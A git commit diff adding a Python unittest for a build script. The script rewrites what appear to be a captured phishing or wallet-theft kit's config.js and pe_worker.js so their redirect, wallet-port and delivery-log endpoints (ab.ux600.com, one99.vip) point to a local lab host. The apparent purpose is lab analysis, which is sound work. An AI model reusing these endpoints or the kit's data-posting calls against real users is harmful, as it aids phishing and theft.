feat: ds

2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
@@ -0,0 +1,70 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import shutil
+import sys
+import tempfile
+import unittest
+from pathlib import Path
+
+TOOLS = Path(__file__).resolve().parents[1]
+if str(TOOLS) not in sys.path:
+    sys.path.insert(0, str(TOOLS))
+
+import build  # noqa: E402
+
+
+class BuildTest(unittest.TestCase):
+    def setUp(self) -> None:
+        self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
+        self.source = self.tmp / "source"
+        self.dest = self.tmp / "next-chain"
+        self.source.mkdir(parents=True)
+        (self.source / "config.js").write_text(
+            'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
+            encoding="utf-8",
+        )
+        (self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
+        (self.source / "pe_worker.js").write_text(
+            'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
+            '__labCfHttp("POST", "/log", body, false);\n'
+            '__labCfHttp("GET", "/log.html?" + q, null, false);\n',
+            encoding="utf-8",
+        )
+
+    def tearDown(self) -> None:
+        shutil.rmtree(self.tmp, ignore_errors=True)
+
+    def test_rewrites_and_publishes_without_touching_source(self) -> None:
+        before = (self.source / "config.js").read_text(encoding="utf-8")
+        hits = build.build(
+            self.source,
+            self.dest,
+            "192.168.31.130",
+            8080,
+            "http://192.168.31.130:8080",
+        )
+        self.assertTrue(hits)
+        self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
+        published = (self.dest / "config.js").read_text(encoding="utf-8")
+        self.assertIn("http://192.168.31.130:8080/?landed=1", published)
+        self.assertIn('const HQ_WALLET_PORT = "8080"', published)
+        self.assertNotIn("ab.ux600.com", published)
+        self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
+        self.assertFalse((self.dest / "api").exists())
+        worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
+        self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
+        self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
+        self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
+        self.assertNotIn("/log.html", worker)
+        self.assertNotIn('__labCfHttp("POST", "/log"', worker)
+
+    def test_origin_override(self) -> None:
+        host, port, origin = build.resolve_origin(
+            type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
+        )
+        self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
+
+
+if __name__ == "__main__":
+    unittest.main()